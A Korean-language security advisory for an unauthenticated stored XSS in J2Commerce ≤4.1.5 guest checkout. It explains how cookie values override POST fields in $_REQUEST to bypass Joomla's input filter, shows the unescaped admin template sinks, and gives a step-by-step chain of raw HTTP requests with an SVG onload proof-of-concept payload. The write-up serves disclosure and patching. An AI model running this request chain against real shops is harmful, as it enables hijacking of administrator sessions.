
쿠키 필터 우회를 통한 J2Commerce 게스트 체크아웃의 저장형 XSS
J2Commerce (com_j2store) ≤ 4.1.5 — 인증되지 않은 공격자가 XSS 페이로드를 저장하며, 페이지 로드 시 관리자 브라우저에서 자동으로 실행됨
J2Commerce 4.1.5는 게스트 체크아웃 청구 주소 필드를 통한 저장형 크로스 사이트 스크립팅(Stored XSS) 취약점에 영향을 받습니다. 인증되지 않은 공격자는 Joomla의 Input::getArray()와 PHP의 variables_order=EGPCS($_REQUEST에서 쿠키가 POST를 재정의)를 결합한 필터 우회를 악용하여 billing_first_name과 같은 필드에 새니타이즈되지 않은 HTML을 저장합니다. 이 필드들은 htmlspecialchars() 없이 관리자 주문 관리 패널에 직접 출력되어 페이로드가 관리자 브라우저에서 실행되게 합니다.
XSS 페이로드는 관리자가 주문 목록으로 이동할 때 페이지 로드 시 자동으로 실행됩니다 — 개별 주문을 클릭할 필요가 없습니다. 단일 HTTP 요청 체인(장바구니에 추가 → 쿠키 우회로 체크아웃 제출 → 주문 완료)은 페이로드를 영구적으로 저장하며, 주문이 삭제되거나 취약점이 패치될 때까지 모든 관리자의 브라우저에서 실행됩니다.
이 공격은 공격자에게 인증을 요구하지 않습니다. 게스트 체크아웃은 전자상거래 사이트의 표준적이고 일반적으로 활성화된 기능이므로, 관리자가 새 주문을 확인할 경제적 유인이 있어 악용이 매우 쉽습니다.
| 구성 요소 | 취약 버전 | 테스트 환경 | 수정 버전 |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | Joomla 5.4.7 + MySQL 8.0에서 4.1.5 | 3.3.21 / 4.0.21 / 4.1.6 |
유형: 크로스 사이트 스크립팅 — 저장형(CWE-79)
필요한 인증: 없음 — 인증되지 않음(게스트 체크아웃)
주요 싱크: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
쓰기 경로: components/com_j2store/controllers/checkouts.php:535
이 취약점은 쓰기 경로의 입력 필터 우회와 읽기 경로의 출력 인코딩 누락이라는 두 가지 약점이 결합된 것입니다.
1. 입력 필터 우회 — Joomla Input::getArray() 오용
J2Commerce의 게스트 체크아웃 컨트롤러는 $app->input->getArray($_POST)를 사용하여 주소 필드를 읽습니다. Joomla의 구현은 $_POST 배열을 반복하면서 각 값을 필터 유형으로 사용하고(데이터가 아님), 실제 값은 $_REQUEST에서 읽습니다:
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — 쓰기 경로
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — GETARRAY() 메서드(187행)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — 데이터 소스(97행)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. PHP variables_order — 쿠키가 $_REQUEST에서 POST를 재정의함
PHP의 $_REQUEST는 $_GET, $_POST, $_COOKIE로 구성된 병합된 슈퍼글로벌입니다. variables_order=EGPCS(대부분의 PHP 환경에서 컴파일 기본값)일 때 쿠키(C)가 POST(P) 뒤에 나열되므로 키가 충돌하면 쿠키가 우선합니다.
POST 본문에 first_name=RAW를 제출하면 Joomla의 InputFilter::clean()이 $_REQUEST에서 우선하는 쿠키 값 first_name=<svg...>에 대해 필터 유형 'Raw'(no-op)를 적용합니다.
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — CLEAN() 메서드(215행)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
최종 결과:
POST 본문 first_name=RAW는 필터를 no-op으로 설정합니다. 쿠키 first_name=<svg onload="alert(document.domain)">는 $_REQUEST에서 우선합니다. Joomla는 쿠키 값을 필터링 없이 반환하고, J2Commerce는 이를 j2store_orderinfos.billing_first_name에 원본 그대로 저장합니다.
3. 출력 인코딩 누락 — 관리자 템플릿 싱크
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — 주요 싱크(목록 페이지 로드 시 실행)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — 보조 싱크
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
이 우회는 Debian/Ubuntu를 제외한 모든 PHP 환경에서 동작합니다(Debian/Ubuntu는 명시적으로 request_order = "GP"를 설정하여 $_REQUEST에서 쿠키를 제외합니다). 그 외 주요 호스팅 환경(cPanel/Plesk 공유 호스팅, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS)은 모두 EGPCS로 폴백하므로 별도 설정 변경 없이 즉시 쿠키 재정의가 활성화됩니다.
피해자 관리자로 J2Commerce 관리자 주문 목록을 엽니다. 이는 관리자가 패널을 적극적으로 사용 중이며 다음 방문 시 페이로드를 만나게 됨을 확인합니다.

인증되지 않은 공격자는 J2Commerce 프런트엔드 홈페이지에 GET 요청을 보내 세션을 설정하고 페이지의 JSON 옵션에 포함된 CSRF 토큰을 추출합니다. 이 토큰은 이후 POST 요청에 필요합니다.

공격자의 장바구니에 제품을 추가합니다. 게스트 체크아웃 엔드포인트가 주소 제출을 수락하려면 장바구니가 비어 있지 않아야 합니다.
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

first_name에 대해 충돌하는 두 값을 사용하여 게스트 체크아웃 주소 양식을 제출합니다:
first_name=RAW — Joomla는 이를 필터 유형(no-op)으로 해석합니다first_name=<svg...> — 이 값은 $_REQUEST에서 우선하며(PHP EGPCS: 쿠키 > POST) 필터링 없이 반환됩니다POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

동일한 쿠키 우회를 사용하여 배송 주소 단계를 제출합니다. 이 단계는 세션에 배송 국가를 설정하며, 건너뛰면 이후 단계에서 "SHIPPING_ADDRESS_NOT_FOUND" 오류가 발생합니다.

결제 방법(배송 시 현금 결제)을 선택합니다. payment_plugin 필드는 XSS에 취약한 텍스트 입력이 아닙니다.
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

확인 단계를 제출하여 숨겨진 hash 필드가 포함된 주문 요약 페이지를 받습니다. 이 해시는 주문을 완료하는 데 필요합니다.
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

이전 단계의 해시를 사용하여 주문을 완료합니다. 서버는 billing_first_name을 원본 XSS 페이로드로 설정하여 joom_j2store_orderinfos에 주문 레코드를 생성합니다.
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

피해자 관리자로 J2Commerce 주문 목록으로 이동합니다. XSS 페이로드는 페이지 로드 즉시 실행됩니다 — 클릭이 필요 없습니다. default_items.php:73 템플릿은 Customer 열에 billing_first_name을 이스케이프 없이 렌더링합니다.
관리자가 주문을 볼 때 서버 응답에는 다음이 포함됩니다:
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
